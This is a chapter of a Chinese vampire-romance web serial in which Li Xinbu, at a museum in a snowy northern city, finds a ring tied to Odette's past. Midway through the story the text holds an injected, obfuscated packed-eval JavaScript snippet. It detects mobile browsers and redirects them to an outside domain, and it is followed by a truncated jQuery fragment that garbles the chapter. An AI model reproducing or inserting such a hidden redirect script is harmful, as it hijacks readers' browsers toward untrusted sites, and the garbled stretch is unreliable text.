祈幸会 作品

21. 浮城

凌晨三点半,上完药的奥黛离开了特族局。


翅膀像是被热敷过一样熨帖,连带着僵硬的肩膀也舒服了不少。


走到大门口时,她下意识地往伸缩门边的停车场看了一眼,一辆黑色的重机车像恶犬一样停在最显眼的位置,总给她一种它的主人还没离开的错觉。


微信上,它主人六个小时前发来了消息,说已经上飞机了。


奥黛没有回复,径直回了家。


家里被艾琳派人里里外外地打扫了一遍,空气里飘散着她钟爱的柑橘香,深深一嗅,却又觉得少了点什么。


洗完了澡,带着湿漉的水汽在床上辗转反侧,忽然,她抖开了翅膀,黑色巨茧包合住了她,香甜的味道瞬间就充盈了整间卧室。


直到这时,她紧绷的神经才渐渐开始放松。


五分钟后,刺耳的门铃急促地响起,然后是砰砰的拍门声,听起来很着急。


奥黛不悦地睁开眼睛,她坐起来,捞起了滑落在肩头的睡裙肩带,翅膀一瞬间收进了肩胛骨,成了若隐若现的两颗小黑点。


走到了门口,打开了门,她奇怪地打量着艾琳。


对方的头发凌乱得像鸡窝,穿着一条小熊睡裙,一只脚踩着家居拖鞋,另一只脚踩着洞洞鞋。


印象中,她还没有见到艾琳这样慌张的样子。


“出什么事了?”她问。


艾琳伸长脖子往里面看,旁敲侧击道:“就女爵一个人在家吗?”


“不然呢?”


“那个……”艾琳支支吾吾道:“女爵是不是饿了,我那还存了点人造血,要不您先垫巴点呢?”


“不饿。”


“女爵饿了可一定要说啊,千万别去吃人。现在这会儿和一百多年前可不一样了。在华国,在星城,吃人——是绝对!不可以的!”艾琳双臂交叠,打了一个大大的“x”。


“?”


莫名其妙。


奥黛关上了门。


可视屏幕前,看见艾琳绞着手来回踱步,像小狗一样在她的门口嗅来嗅去。


于是又把门打开了,问她:“到底怎么了?”


房内甜血气息扑面而来,这下,艾琳悬着的心终于死了。


她有些悲怆地开口:“女爵……你……是不是把黎队长吃了?他的电话打不通,而你房间都是他的血腥味……”


“没吃。”奥黛扫了一眼艾琳的脸,目光停在了对方殷红的唇上,有些意外:“不过你嘴上的,是人血么?”


“你的脖子上,也有很多红点。”她抬手点了点自己的脖子一侧,“是交往了男朋——”


艾琳尖叫一声,一下退出了五米远,捂着脖子笑容僵硬地挥了挥手:“哈哈晚安啦,女爵。”


几乎是以最快速度离开了奥黛的别墅。


奥黛冷哂。不知自己给血仆究竟留下了怎样可怕的印象,让他们交往个人类也畏首畏尾。


——或许是因为海尔珀林家族的吸血鬼,和人类交往就没一个有好下场的。


以至于她和薄莎在伊芙琳女爵消逝以后,还对月盟誓过,此生绝不初拥人类。


笑容渐渐隐去,回到了房间,她站在窗边看了一会儿明亮的月亮。哗啦一声,用厚重的窗帘把窗外遮挡得严严实实。


室内一片漆黑。


她枕着熟悉的香气缓缓入眠。


日落的那一秒,奥黛苏醒。


与此同时,手机传来一声信息音。


唤醒了屏幕一看,黎信步传来了一张照片。


天地几乎雪白一片,他站在皑皑的雪地里,穿了一身黑色的大衣,随意地将灰色围巾围在了颈边,手边拉着一只黑色的行李箱。


双指放大看了看,他的短发上沾染上了不少轻巧的落雪,一双眼睛被白雪衬托得圆润乌黑,格外明亮,像是雪山脚下的一汪热泉。明明是这样大的雪,眼皮和鼻子都被冻出了淡红的颜色,可他看着却比平常少了一些不羁的冷厉,多了几分澄澈的热情。


远方,红色的房子都覆上了厚厚的积雪,高低错落地融进了照片里,像灯烛,像星火。


【黎信步:赶上浮城的初雪了''''】


【黎信步:想和你一起来看''''】


奥黛盯着照片看了一会儿。


雪有什么好看的?


更何况浮城,她一向不喜欢。


在察觉到自己病态的吸血鬼特征快要显露出来之前,她按灭了屏幕。


屏幕再度被按亮。


黎信步发的消息石沉大海,一连好几天,都没有收到她的回复。不过他向来有耐心,把手机收进口袋,跟上前人的步伐。


这是一场非正式的血族管理交流会谈,为期三天,由北欧最大的血族聚居地浮城来举办。几乎所有有血族聚居的国家都派了代表来参加,互相交流和学习先进的经验。


今日的行程是应北欧血族理事会邀请,与各国代表一同参观浮城血族博物馆。


浮城地理位置独特,由十几座岛屿组成,从空中看,就像是漂浮在海面上一样。或许是因为这里的冬夜格外漫长,当地人也相当重视隐私与独立空间,所以格外受i人吸血鬼青睐。


博物馆位于一座偏远的小岛上,一行人从船上下来。踏入小岛时,一群红嘴海鸥被惊飞,它们衔着黑色的小花成群结队地飞向云霄。


从这一刻起,就已经能够看到馆藏的展品了。


“那是来自血族故乡的暗夜花,我们这里的海鸥,很喜欢。”


说话的是一位留着深金色短发的男人,他的气质很冷沉,看上去不苟言笑,这是他们理事会的秘书长。


浮城人也像本地的i人吸血鬼一样,大多高冷不善言辞,在说完这句话以后,他如释重负地把下巴缩回了深灰色的羊绒高领里。


一行人沿着植满黑花的长径走向岛屿深处,一座高高的红墙塔楼无遮蔽地屹立在众人的面前。这是岛内存放血族珍稀藏品的地方,大多是血族自己捐赠的最能代表他们家族或是个人的藏品。


序厅矗立着一尊巨大的雕像,穹顶上,无数块深浅不一的红色小玻璃被雪光折射分解成瑰丽的光斑,投射在执剑雕像的脚下,形成了一条浮动的血色长河。


黎信步注意到雕像的剑格上雕刻着月形纹章,果不其然,理事会的人介绍说:“这位是血族上一任君主——丹纳血王的雕像,由赫纱女王捐赠。”


庄严的君主举剑睥睨着脚下血河,众人踏上这条长河,正式步入展厅。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057165|162625||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


展厅是按照姓氏将藏品进行分隔的。


来到“h”的分区,黎信步意外地看见了奥黛的姓氏——


heilbronn


这时他脚步一顿,看见玻璃展柜里,放着一枚熟悉的戒指。


墨绿色的戒臂,红宝石的戒面,几颗碎钻环嵌在周围,闪亮又耀眼。


一瞬间,他握住了戴有蔷薇戒指的手,有些错愕地开口:“这是……谁捐赠的?”


秘书长有些意外地看了黎信步一眼,向他投以欣赏的眼神:“这是我的收藏。很漂亮,不是吗?”


谈到他收藏的得意之作,饶是社恐也忍不住话多起来,他的语速很快,翻译差点有些跟不上。


“几年前,我从浮城一个落魄贵族手里买下来的,据说这是他祖上和血族女公爵的定情信物。后来我查了很久,发现上面的纹饰很像海尔珀林家族的蔷薇家徽,于是归到了这个展柜。”


“是吗?”黎信步目不转睛地看着那枚戒指,忽然感到戴在他食指上的戒指是那样沉重。


他总是后知后觉地路过她的从前。而那是他未曾知晓、不曾参与的人生。


定情。


她和别人定情了?


心像被人闷住了,他的喉咙发紧,声音发涩:“他们结婚了吗?”


对方答:“那倒没有,据说因为霍乱去世了。”


黎信步愣住了。


忽然想到她曾说过的,如果活得足够长,就会看到身边的人一个接着一个死去,甚至看到他们的后代一个接着一个死去。


这才清晰地意识到,早在认识他之前,她就已经触摸到了别人的快乐,也路过了那人的死亡。


她也会把那人当成自己的私产吗?


也会给那人家徽印记保护他吗?


她在给那人擦拭墓碑时在想什么?


黎信步自嘲一笑,微哑的声音凉薄道:“毕竟人类的寿命,实在,太短暂了。”


周围人不禁感慨了起来。


从博物馆的塔楼出来时,天上又下起了雪。


理事会的人为各代表撑伞,被黎信步礼貌拒绝了,他举着伞走在沉郁的雪岛上。


“你的戒指很漂亮。”旁边一位南美的代表微笑着对他说,“很像刚刚我们在里面看到的那一枚。”


裸|露在空气里,握着伞的食指泛着密密麻麻的痛意,几乎有些失去知觉了,但他还是告诉南美代表:“这是我喜欢的人让我暂时保管的。”


“暂时保管?”对方有些奇怪地问。


“只是,暂时保管。”他重复道。


是不得已暂时放在他这里,只要找到摘取的方法,随时都会被收回的意思。


不是赠与,需要归还。


不是定情,需要清醒。


“但她,戒指可真多啊。”他冷冷一叹,呼出的白气像海鸥一样漂洋过海,辗转去温暖的远方。


转过身,回望着被洁白大雪覆盖着的红色塔楼,目光好像想要透过某一扇花窗,窥见她曾停经过的某一段时光。


即使,那一段时光并不属于他。


即使,在他之后还会有很多枚戒指。


可,那又怎么样呢?


至少现在,活着的是他。